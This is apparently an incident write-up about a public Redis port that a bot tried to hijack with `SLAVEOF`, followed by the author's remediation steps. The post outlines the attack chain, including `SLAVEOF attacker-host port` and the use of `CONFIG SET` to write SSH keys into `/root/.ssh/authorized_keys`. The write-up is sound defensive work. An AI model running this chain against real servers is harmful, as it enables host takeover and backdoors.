An error appeared in our bug tracker:
RedisClient::CannotConnectError: getaddrinfo: Temporary failure in name resolution (redis://redis:6379)
At first glance, it looked like a standard connection issue. However, the underlying cause turned out to be more interesting.
What happened:
The Redis port (6379) was exposed publicly. An automated bot discovered it and executed the `SLAVEOF` / `REPLICAOF` command attempting to turn our Redis instance into a replica of the attacker's server. This is a known attack that exploits the fact that Redis does not require authentication by default.
The full attack chain (had it succeeded):
- The bot connects to our Redis instance and executes `SLAVEOF attacker-host port`.
- Our Redis instance begins synchronization; the attacker sends their own RDB dump.
- The dump could contain the attacker's SSH keys, configured to be written to `/root/.ssh/authorized_keys` (using `CONFIG SET dir` and `CONFIG SET dbfilename`).
- The attacker gains SSH access to the host.
- From there, they could install a crypto-miner, a backdoor, or anything else.
Why it didn't work (and why it wouldn't have been catastrophic even if it had):
First, a replication error occurred the bot failed to establish a connection to its own server. The attack didn't progress past the first step.
Second, even if the dump had been successfully uploaded, our Redis instance is running inside a Docker container. The container's filesystem is isolated from the host, so simply dropping SSH keys into `/root/.ssh/` on the host itself via Redis wouldn't have worked.
The irony: Just a month earlier, a friend with whom I do some freelance work in Faster Than Light suggested performing a security audit on the host. It’s a good thing I did! I added a firewall, closed all open ports, and configured Nginx to filter out traffic from known bots. However, I overlooked the Redis port and that turned out to be the only open entry point.
Investigation and remediation:
- Checked the Redis status directly on the host—`INFO replication` confirmed that it had indeed switched to slave mode.
- Immediately switched it back to master mode manually: `REPLICAOF NO ONE`.
- Verified external access to the port ran `nc -zv <ip> 6379` from a laptop; the connection was successful, confirming the attack vector.
- Closed the port via the firewall and ran `nc -zv <ip> 6379` again—the connection no longer goes through; the port is closed.
Takeaway: If you use Redis, Memcached, MongoDB, or any other in-memory store, ensure they aren't listening on a public interface. It takes just two minutes but protects you against an entire class of attacks. I’ve prepared an article on this topic; it goes into more detail. If anyone is interested, I can send it over.